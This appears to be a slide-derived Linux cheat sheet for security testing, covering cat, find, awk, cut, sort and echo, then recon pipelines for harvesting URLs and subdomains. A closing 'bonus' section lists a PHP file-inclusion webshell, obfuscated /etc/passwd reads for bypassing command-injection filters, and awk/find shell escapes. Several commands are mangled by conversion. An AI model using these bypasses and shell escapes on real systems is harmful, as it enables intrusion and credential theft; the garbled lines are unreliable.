Linux commands and utilities for security testing By Swapnil

# CAT

cat - concatenate files and print on the standard output

### CAT USAGE

Display Contents of a File

```
cat test1.txt
```

Redirect Contents of a File

```
cat test1.txt > test3.txt
```

To display content of all txt files

```
cat *.txt
```

To display the contents of a file with line number

```
cat -n file1.txt
```

# FIND

Find command basically finds the things for you

### FIND USAGE

Find files in a directory

```
find /
```

Specific files in a directory

```
find ~ -name `*.jpg'
```

• "OR"

```
find ~ ( -iname 'jpeg' -o -iname 'jpg' )
```

Find world-readble files

```
find \sim -perm -o=r
```

# PARALLEL

Parallel is a shell utility for executing jobs in parallel

# PARALLEL USAGE

### From serial to parallel

```
find . -name "*jpeg" | parallel -I% --max-args 1 convert % %.png
```

### • Multiple Inputs

```
ls -l | parallel --max-args=2 echo
```

# CUT

cut is a command-line utility that allows you to cut parts of lines from specified files or piped data and print the result to standard

# CUT USAGE

Specify a field

Cut -f

Bytes

Cut -b

• Characters list

Cut -c

• Delimiter

Cut -d

# SORT

Sort sorts its input

# SORT USAGE

Numeric sort

Sort -n

• Human sort

Sort -h

Uniq values

Sort -u

# AWK

Awk is a general-purpose scripting language designed for advanced text processing.

### AWK USAGE

### AWK patterns

```
Awk '{print $ 3}' test.txt
```

#### Awk regex

```
Awk '/reg/ {print $4}' test.txt
```

### AWK field separator

```
Awk 'BEGIN {FS = "."}{ print $1}' test.txt
```

# ECHO

echo is one of the most commonly and widely used built-in command for Linux bash and C shells, that typically used in scripting language and batch files to display a line of text/string on standard output or a file.

### ECHO USAGE

Display a line of text on standard output

Echo Hello world

Pattern matching characters

echo The PHP files are: \*.php

Redirect to a file

echo -e 'The test file' >> /tmp/file.txt

Displaying output of a command

echo "The date is: \$ (date +%D) "

# SOME MORE COMMAND

Reverse command

rev

• Grep command

Grep -r

• SED - edit the input stream

Sed -n 1-4p

Delimiter

Cut -d

# LETS MAKE COCKTAIL OF ABOVE COMMANDS

### PROCESSING DATA FOR RECON

Get javascript files from domains list

```
Cat domains list | gau | grep ".js"
```

Get v1 api enpoints from URL list

```
printf yahoo.com | gau | grep -w "v1" | head -10
```

Find URL with admin keyword in it

```
Cat domains.txt | grep "admin"
```

With staus code 200

```
cat domains.txt| gau | hakcheckurl | grep -w '200' | head -10
```

Extract subdomains from output

```
gau -subs example.com | cut -d / -f 3 | sort -u
```

•

#### Pull Root Subdomains from Final.txt

```
cat final | rev | cut -d . -f 1-3 | rev | sort -u | tee root.subdomains
```

### Extract URLs from junk data

```
cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?= -]*"*
```

# SOME BONUS COMMANDS

#### Command injection to File inclusion

echo "<?php include(\$ GET['page'])| ?>" > rfi.php

#### Command Injection bypass

```
Cat /etc/passwd
Cat /e"t"c/pass"w"d
Cat /etc/pass*d
```

#### Echo and rev

Echo "dwssap/cte/ tac" | rev

#### AWK and shell

awk 'BEGIN {system("/bin/sh")}'

#### Find and AWK

find / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

#### Echo and tee

```
echo "evil script code" | tee script.sh
```

# THANK YOU